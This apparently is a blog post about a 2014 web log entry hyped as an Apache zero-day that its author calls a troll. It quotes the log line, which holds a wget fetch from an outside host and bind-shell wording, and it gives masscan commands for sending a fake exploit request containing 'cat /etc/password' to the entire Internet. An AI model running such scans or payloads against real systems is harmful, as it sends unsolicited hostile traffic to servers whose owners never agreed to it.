[28/Jul/2014:20:04:07 +0000] “GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0″ 301 178 “-” “chroot-apach0day-HIDDEN BINDSHELL-ESTAB” “-”
Somebody has come forward and taken credit for this, admitting it was troll.
This is sort of a personality test. Many of us immediately assumed this was a troll, but that's because we are apt to disbelieve any hype. Others saw this as some new attack, but that's because they are apt to see attacks out of innocuous traffic. If your organization panicked at this "0day attack", which I'm sure some did, then you failed this personality test.
I don't know what tool the troll used, but I assume it was masscan, because that'd be the easiest way to do it. To do this with masscan, get a Debian/Ubuntu VPS and do the following:
apt-get install libpcap-dev dos2unix
git clone https://github.com/robertdavidgraham/masscan
echo "GET /my0dayexploit.php?a=\x0acat+/etc/password HTTP/1.0" >header.txt
echo "Referer: http://troll.com" >>header.txt
echo "" >>header.txt
iptables -A INPUT -p tcp --destination-port 4321 -j DROP
bin/masscan 0.0.0.0/0 -p80 --banners --hello-file header.txt --source-port 4321 --rate 1500000
Depending on the rate your VPS can transmit, you'll cover the entire Internet in one to ten hours.
The response output from servers will be printed to the screen. You probably don't want that, so you should add the "-oX troll.xml" to save the responses to an XML file.
The above example uses "echo" to append lines of text to a file since HTTP is conveniently a text-based protocol. Its uses "unix2dos" to convert the line-feeds into the cr-lf combination that HTTP wants.
Masscan has it's own TCP/IP stack. Thus, on Linux, it can't establish a TCP connection, because when it tries, the existing TCP stacks sees something wrong and sends a RST to kill the connection. One way to prevent this is to configure a firewall rule to tell the built-in Linux TCP/IP stack to ignore the port that masscan uses. Another way is to tell masscan to use a --source-ip that isn't assigned to any existing machine on the network.
The rates at which you can transmit vary widely by hosting provider. In theory, you should get a rate of 1.5-million packets/second, and that's easily obtained in a lab on slow machines. Yet, in real hosting environments, things slow down, and I haven't been able to figure out why. In my experience, 300,000 is more of what you'd expect to get.
Post a Comment